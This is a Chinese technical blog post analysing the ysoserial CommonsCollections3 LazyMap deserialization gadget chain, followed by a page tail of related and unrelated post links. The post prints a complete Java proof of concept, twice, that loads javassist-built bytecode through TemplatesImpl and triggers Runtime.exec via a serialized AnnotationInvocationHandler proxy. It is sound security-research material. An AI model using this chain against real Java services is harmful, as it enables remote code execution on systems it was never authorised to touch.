上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。

其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

和另一条链的区别:

主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。

下图为LazyMap中的get方法

构造调用链

前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

利用LazyMap的decorate方法,把chain赋值给factory

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);

后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

所以利用反射构造方法传入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

再使用动态代理触发AnnotationInvocationHandler的invoke方法

复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);

最终POC

public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate); Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1); InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(anno2);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject(); }
}

CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。

ysoserial CommonsColletions3分析(2)的更多相关文章

  1. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. 安装Linux的步骤 包含linux下安装jdk,及mysql

    https://mirrors.tuna.tsinghua.edu.cn/centos/7.9.2009/isos/x86_64/ 镜像下载网址,4G 左右. 安装VMware 15版本 一路下一步, ...

  2. Java数组04——多维数组

    多维数组  package array; ​ public class ArrayDemon06 {     public static void main(String[] args) {      ...

  3. JMeter(1)-介绍+环境+安装+使用

    一.开发接口测试案例的整体方案: 分析出测试需求,并拿到开发提供的接口说明文档: 从接口说明文档中整理出接口测试案例(包括详细的入参和出参数据以及明确的格式和检查点). 和开发一起对评审接口测试案例 ...

  4. Linux命令(五)之service服务查找、启动/停止等相关操作

    .personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...

  5. Python - typing 模块 —— Any Type

    前言 typing 是在 python 3.5 才有的模块 前置学习 Python 类型提示:https://www.cnblogs.com/poloyy/p/15145380.html 常用类型提示 ...

  6. CVE-2021-1732 Windows 本地权限提升漏洞 EXP 下载

    漏洞简介 2021年2月10日,微软修复了一个Windows本地权限提升漏洞,漏洞编号为 CVE-2021-1732 ,本地攻击者可以利用该漏洞将权限提升为 System ,目前EXP已公开. 影响范 ...

  7. Git(12)-- Git 分支 - 分支简介

    @ 目录 1.分支简介 1.1.初始化并首次提交 首次提交对象及其树结构: git 的 cat-file 的命令用法: 1.2.修改并第二次提交 第二次提交对象及其树结构: 1.3.修改并第三次提交 ...

  8. STM32—时钟树(结合系统时钟函数理解)

    时钟树的概念: 我们可以把MCU的运行比作人体的运行一样,人最重要的是什么?是心跳! 心脏的周期性收缩将血液泵向身体各处.心脏对于人体好比时钟对于MCU,微控制器(MCU)的运行要靠周期性的时钟脉冲来 ...

  9. L298N的接线和详细使用方法

    文章说明: 名词概念(为了方便易懂,我就通俗的表达): 逻辑电压:控制板子执行程序的电压. 驱动电压:输出口AB的电压. 逻辑电流:驱动板执行程序的电流. 驱动电流:输出口AB的电流. 本人调试此款L ...

  10. noip11

    T1 考试的时候打的暴力,快结束的时候,脑抽加了个 long long,然后就... 痛失70pts QAQ. Your source code compiled to 8015900 bytes w ...